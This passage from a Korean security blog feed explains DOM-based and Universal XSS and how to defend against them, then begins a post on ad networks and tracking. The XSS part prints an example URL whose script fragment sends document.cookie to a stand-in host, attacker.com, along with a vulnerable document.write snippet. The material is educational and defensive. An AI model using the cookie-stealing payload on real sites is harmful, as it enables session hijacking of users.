&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1448&quot; data-origin-height=&quot;1023&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sX2V7/dJMcac2ESnP/gmNzI7Ko1I2QLGkvW8My60/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sX2V7/dJMcac2ESnP/gmNzI7Ko1I2QLGkvW8My60/img.png&quot; data-alt=&quot;[그림 4] DOM-based XSS의 대표적인 패턴&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sX2V7/dJMcac2ESnP/gmNzI7Ko1I2QLGkvW8My60/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsX2V7%2FdJMcac2ESnP%2FgmNzI7Ko1I2QLGkvW8My60%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;666&quot; height=&quot;471&quot; data-origin-width=&quot;1448&quot; data-origin-height=&quot;1023&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 4] DOM-based XSS의 대표적인 패턴&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;DOM-based &amp;nbsp;XSS의 공격 시나리오는 [그림 4]과 같다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;&lt;b&gt;Step 1) Attacker는 Victim에게 악성 script가 포함된 악성 링크를 전송한다&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;악성 URL은 보통 아래와 같은 형태이다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;https://target.com/showmeprofile.php&lt;u&gt;#&amp;lt;script&amp;gt;fetch_cookie('http://attacker.com&quot;, &lt;b&gt;document.cookie&lt;/b&gt;);&amp;lt;/script&amp;gt;&lt;/u&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이번에도 마찬가지로, 정상적인 &lt;span style=&quot;color: #006dd7;&quot;&gt;target.com&lt;/span&gt;의 URL 뒤에 fragment로 Attacker에게 쿠키정보를 보내는 script가 들어가 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;하지만, fragment 값은 서버에게 전달되지 않으므로, &lt;span style=&quot;color: #006dd7;&quot;&gt;target.com&lt;/span&gt;은 이 fragment 값을 인지하지 못하고 있는 상태이다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;&lt;b&gt;Step 2) Victim이 악성 URL을 클릭하여, target.com 에 접속한다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;위 URL 에 포함된 &lt;span style=&quot;color: #006dd7;&quot;&gt;target.com/showmeprofle.php&lt;/span&gt;에 아래와 같은 JavaScript 코드를 포함하고 있다고 가정해보자.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;아래 코드는 현재 document에다가 &amp;lt;b&amp;gt; 태그를 추가하는 코드이고, 추가로 URL을 읽어와서 함께 표시해주는 코드이다.&lt;/p&gt;
&lt;pre id=&quot;code_1765136465996&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;script&amp;gt;
  document.write(
    &quot;&amp;lt;b&amp;gt;Current URL&amp;lt;/b&amp;gt;: &quot; + document.baseURI);
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원래 정상적인 접근이라면, 웹페이지에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;CurrentURL: https://target.com/showmeprofile.php&quot;&amp;nbsp; 이렇게 표시되어야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;&lt;b&gt;Step 3) Target 서버가 victim에게 response를 보낸다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;중요한 포인트는 위에 보여줬던 php 코드가 victim의 브라우저에게 보내지는 과정에서, 아직 attacker의 악성 script는 삽입되지 않은 상태라는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;왜냐하면, 저 document.write 함수는 victim의 브라우저에서 실행되는 코드이기 때문에 아직까지는 script가 response에 포함되어있지 않다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;&lt;b&gt;Step 4) Victim의 브라우저에서 악성 script가 실행되어, 공격자에게 쿠키 데이터가 전송된다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Victim의 브라우저에서 &lt;b&gt;document.write&lt;/b&gt; 함수가 실행되면서, &lt;b&gt;document.baseURI&lt;/b&gt; 값에 아까 링크에 있는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;https://target.com/showmeprofile.php#&amp;lt;script&amp;gt;fetch_cookie('http://attacker.com&quot;, document.cookie);&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 URI가 웹페이지에 추가되고, 이 추가된 웹페이지를 브라우저가 실행하면서 비로소 attacker가 삽입한 악성 script도 실행된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;7. Universal XSS (UXSS)&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실 Universal XSS (UXSS)는 앞선 XSS에 비해 잘 알려지지 않았고, 또 공격 방식도 앞선 XSS들과는 다른 공격이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;UXSS는 target 웹페이지의 취약점을 이용한 앞선 XSS와는 다르게, &lt;b&gt;브라우저 자체의 취약점을 이용한 XSS이다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 앞선 XSS들은 취약한 Target 웹어플리케이션만을 대상으로 공격이 가능했다면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;UXSS는 취약한 브라우저를 사용한다면, 모든 웹사이트가 공격 대상이다. (그래서 이름이 universal 이다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그렇기 때문에 굉장히 위험하고 심각도가 높은 취약점이라고 할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1309&quot; data-origin-height=&quot;685&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/9InEJ/dJMcacBExLf/gpdqsrtxaPjxZHJkyGbReK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/9InEJ/dJMcacBExLf/gpdqsrtxaPjxZHJkyGbReK/img.png&quot; data-alt=&quot;[그림 5] UXSS&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9InEJ/dJMcacBExLf/gpdqsrtxaPjxZHJkyGbReK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F9InEJ%2FdJMcacBExLf%2FgpdqsrtxaPjxZHJkyGbReK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;522&quot; height=&quot;273&quot; data-origin-width=&quot;1309&quot; data-origin-height=&quot;685&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 5] UXSS&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어서, [그림 5]와 같이 &lt;span style=&quot;color: #ee2323;&quot;&gt;Attacker&lt;/span&gt;가 자신의 웹페이지 &lt;span style=&quot;color: #ee2323;&quot;&gt;attacker.com&lt;/span&gt;에 공격하고 싶은 &lt;span style=&quot;color: #006dd7;&quot;&gt;Target&lt;/span&gt;인 &lt;span style=&quot;color: #006dd7;&quot;&gt;target.com&lt;/span&gt;을 &lt;i&gt;&lt;b&gt;iframe&lt;/b&gt; &lt;/i&gt;으로 열었다고 가정해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정상적인 브라우저의 경우에는, 이 &lt;span style=&quot;color: #ee2323;&quot;&gt;attacker.com&lt;/span&gt;의 origin은&lt;span style=&quot;color: #ee2323;&quot;&gt; attacker.com&lt;/span&gt;으로, 그리고 그 안의 &lt;i&gt;&lt;b&gt;iframe&lt;/b&gt;&lt;/i&gt;으로 열린 &lt;span style=&quot;color: #006dd7;&quot;&gt;target.com&lt;/span&gt;의 origin은 &lt;span style=&quot;color: #006dd7;&quot;&gt;target.com&lt;/span&gt;으로 인식해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 &lt;span style=&quot;color: #ee2323;&quot;&gt;attacker.com&lt;/span&gt;에 포함된 악성 script는 &lt;span style=&quot;color: #006dd7;&quot;&gt;target.com&lt;/span&gt;의 resource에 접근하지 못해야 한다. (Same-Origin Policy)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만, UXSS 취약점이 있는 브라우저는 &lt;span style=&quot;color: #ee2323;&quot;&gt;attacker.com&lt;/span&gt;의 악성 script 가&lt;span style=&quot;color: #006dd7;&quot;&gt; target.com&lt;/span&gt;의 resource에 접근해서 임의로 조작하는 것이 가능하다. 예를 들어서 아래와 같은 공격이 가능하다.&lt;/p&gt;
&lt;pre id=&quot;code_1765430344764&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// UXSS를 이용해 attacker가 target의 document에 접근이 가능하다는 가정
let script = document.createElement('script');
script.innerText = fetch_cookie()';&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 코드는 원래 &lt;span style=&quot;color: #ee2323;&quot;&gt;attacker.com&lt;/span&gt;의 DOM element들만 조작이 가능해야 하지만, 저 코드의 앞부분에서 UXSS를 이용해 &lt;span style=&quot;color: #006dd7;&quot;&gt;target&lt;/span&gt;의 &lt;span style=&quot;color: #006dd7;&quot;&gt;document object&lt;/span&gt;에 접근이 가능해졌다는 가정하에, &lt;span style=&quot;color: #006dd7;&quot;&gt;target&lt;/span&gt;의 쿠키와 같은 중요 정보 탈취가 가능해진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;8. XSS의 방어&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞선 reflected, stored, DOM-based XSS 공격들의 패턴에서 보았듯이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대부분의 XSS공격들은, 원래는 &amp;lt;script&amp;gt; 로 인식하지 말아야 할 문자열들을 &amp;lt;script&amp;gt;로 인식하고 실행시키면서 발생한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 방어법 또한 간단하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;&lt;b&gt;1) 사용자의 입력값에서 특수문자같은걸 제한하여 위와같은 script 태그를 사용하지 못하게 하거나&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;&lt;b&gt;2) 브라우저에서 출력할때 &amp;lt;, &amp;gt; 이런 특수문자들을 &amp;amp;It;, &amp;amp;gt; 등으로 인코딩해서 표현해주는 것이다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최근에는 이런 입/출력값 검증을 쉽게 해주는 라이브러리나 (e.g., OWASP ESAPI) 함수들 (e.g., htmlspecialchars) 이 잘 나와있어서 이런 것들을 적절히 잘 사용해주면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Universal XSS의 경우에는 공격 패턴이 다른만큼 방어기법도 다르다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서로 다른 origin을 가지는 웹 리소스에 접근하지 못하도록, 즉 &lt;span style=&quot;color: #8a3db6;&quot;&gt;&lt;b&gt;Same-Origin Policy&lt;/b&gt;&lt;/span&gt;를 만족하도록 브라우저 단에서 잘 처리를 해줘야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대표적으로 서로 다른 site는 서로 다른 프로세스로 관리하는 site isolation 등이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;오늘 배운 내용을 정리해보면,&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. XSS 공격은 Attacker의 악성 script를 Target의 context에서 실행시키는 공격이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. XSS의 종류는 reflected, stored, DOM-based, universal 이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. XSS의 방어는 입/출력값 검증을 통해 script가 삽입되거나 실행되지 않도록 하면 된다.&lt;/p&gt;</description>
      <category>보안</category>
      <category>Cross-site scripting</category>
      <category>DOM-based XSS</category>
      <category>reflected xss</category>
      <category>stored xss</category>
      <category>XSS</category>
      <author>dong1</author>
      <guid isPermaLink="true">https://ddongwon.tistory.com/130</guid>
      <comments>https://ddongwon.tistory.com/130#entry130comment</comments>
      <pubDate>Sun, 7 Dec 2025 03:38:59 +0900</pubDate>
    </item>
    <item>
      <title>온라인 광고와 트래킹 기법 (Cookie syncing, 3rd-party cookie, Ad network)</title>
      <link>https://ddongwon.tistory.com/129</link>
      <description>&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;1. 온라인 광고&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹서핑을 하다보면 손쉽게 광고를 발견할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특히 광고를 보다보면 내가 얼마전에 쿠팡에서 찾아봤던 제품이라던지, 내가 평소에 관심있었던 내용들이 광고에 뜨는것을 보았던 경험이 있을 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 사용자를 타겟팅해서 광고를 하는 것은 모두 온라인 트래킹을 활용한 것인데, 이번에는 과연 이런 광고들이 나를 어떻게 식별하고 tracking 하는지 알아보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;2. Publisher와 Advertiser&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;온라인 광고 시장에는 크게 &lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;Publisher&lt;/b&gt;&lt;/span&gt;와 &lt;span style=&quot;color: #409d00;&quot;&gt;&lt;b&gt;&lt;span style=&quot;text-align: left;&quot;&gt;Advertiser &lt;/span&gt;(provider)&lt;/b&gt;&lt;/span&gt;가 존재한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;Publisher&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;Publisher&lt;/span&gt;는 사용자가 방문하려는 웹페이지의 주인이라고 보면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어서, 사용자가 유튜브 사이트에 접속하면 거기서 &lt;span style=&quot;color: #006dd7;&quot;&gt;publisher&lt;/span&gt;는 유튜브인 것이고, 뉴스 사이트에 접속하면 해당 뉴스 사이트가 &lt;span style=&quot;color: #006dd7;&quot;&gt;publisher&lt;/span&gt; 인 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;Publisher&lt;/span&gt;들은 자신들이 웹사이트를 운영하면서 남는 자리에 광고를 게시할 수 있다. 이렇게 광고를 게시하게 되면 돈을 벌 수 있기 때문이다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #409d00;&quot;&gt;&lt;b&gt; Advertiser (provider)&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #409d00;&quot;&gt; &lt;b&gt;Advertiser &lt;/b&gt;&lt;/span&gt;는 ad provider 라고도 불리는데, 이녀석들은 광고를 하고자 하는 사람들이다. 즉 광고주라고 보면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #409d00;&quot;&gt; Advertiser &lt;/span&gt;들은 &lt;span style=&quot;color: #006dd7;&quot;&gt;publisher&lt;/span&gt;에게 일정 금액을 지불하고 자신들의 광고를 게시할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한가지 예시로 이 두 집단을 정리해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어서 당신이 이 티스토리 블로그에 접속해서 글을 보고 있는데 거기서 쿠팡 광고가 떴다고 가정해보자. 여기서 티스토리 블로그가 &lt;span style=&quot;color: #006dd7;&quot;&gt;Publisher&lt;/span&gt;, 쿠팡이 &lt;span style=&quot;color: #409d00;&quot;&gt;Advertiser&lt;span style=&quot;text-align: start;&quot;&gt; &lt;/span&gt;&lt;/span&gt;인 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 간단하게 광고를 하는 방법은, 쿠팡(&lt;span style=&quot;color: #409d00;&quot;&gt;Advertiser&lt;/span&gt;)이 티스토리(&lt;span style=&quot;color: #006dd7;&quot;&gt;Publisher&lt;/span&gt;)한테 자신의 광고를 표시할 수 있는 JS 코드조각을 주고, 티스토리는 이 코드조각을 자신의 HTML 에 삽입함으로써 광고를 게시할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;Publisher&lt;/span&gt; 는 자신들이 웹페이지를 관리하면서 광고 수익을 얻을 수 있으니 좋고, &lt;span style=&quot;color: #409d00;&quot;&gt;Advertiser&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;는 사용자들이 많이 접속하는 사이트에 자신의 광고를 많이 노출시킬 수 있으니 좋은것이다. 결국 이 둘은 상생관계라고 보면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;3. Ad Network&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 advertiser&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;가 일일히 publisher 들을 찾아다니면서 자기 광고를 게시해달라고 하거나, publisher 가 자기 웹사이트에 광고좀 해달라고 advertiser들을 찾아다니는 것은 꽤나 번거로운 일이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 이 둘을 연결해주는 일종의 중재기관이 있는데, 이것이 바로 &lt;b&gt;Ad Network&lt;/b&gt;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Ad Network는 마지 경매장처럼 동작한다. Publisher들이 자기 웹사이트에 광고올릴 자리가 있다고 Ad network에 요청하고, Advertiser들도 자기가 이런 광고를 띄우고 싶다고 Ad network한테 요청한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러면 Ad Network들은 양쪽의 요청사항들을 잘 취합한 뒤 이를 연결해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[그림 1] 은 사용자들, publisher, advertiser, ad network 의 관계를 간단하게 나타낸 그림이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(1) 우선 Advertiser 가 Ad network를 통해 Publisher 의 웹페이지에 Ad나 tracking contents 관련 JS 나 이미지 등을 심고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(2) 사용자가 publisher의 웹페이지에 방문하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(3) advertiser 로부터 ad / tracking contents 를 받아오게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;914&quot; data-origin-height=&quot;580&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cc7GMz/btsHO282PPE/MEErEi3z1qx52Yxk4NWxx1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cc7GMz/btsHO282PPE/MEErEi3z1qx52Yxk4NWxx1/img.png&quot; data-alt=&quot;[그림 1] Users, Publisher, Advertiser, 그리고 Ad network의 관계&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cc7GMz/btsHO282PPE/MEErEi3z1qx52Yxk4NWxx1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcc7GMz%2FbtsHO282PPE%2FMEErEi3z1qx52Yxk4NWxx1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;599&quot; height=&quot;380&quot; data-origin-width=&quot;914&quot; data-origin-height=&quot;580&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 1] Users, Publisher, Advertiser, 그리고 Ad network의 관계&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;4. 온라인 트래킹 (Online Tracking)&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지금까지 온라인 광고 세계가 어떻게 돌아가는지 알아보았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
